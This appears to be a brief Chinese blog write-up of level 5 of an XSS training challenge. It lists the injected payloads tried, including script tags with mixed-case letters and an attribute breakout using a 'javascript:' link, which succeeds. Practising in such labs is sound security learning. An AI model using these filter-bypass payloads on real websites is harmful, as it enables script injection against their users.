XSS闯关——第五关:level5

版权声明:转载声明来源即可,欢迎指教,一起成长~ https://blog.csdn.net/xiayun1995/article/details/83903795

第五关:level5


输入语句测试

"> <script>alert('yes')</script>

观察源代码发现字符被替换

把部分字符换成大写尝试

"> <sCRipt>alert('yes')</scRipt>

一样的结果

采用html事件方法:

失败

同样是字符被替换

使用伪链接方式假造一个超链接尝试:

"> <a href="javascript:alert('test')">link</a>

点击后执行脚本,成功通关

猜你喜欢

转载自blog.csdn.net/xiayun1995/article/details/83903795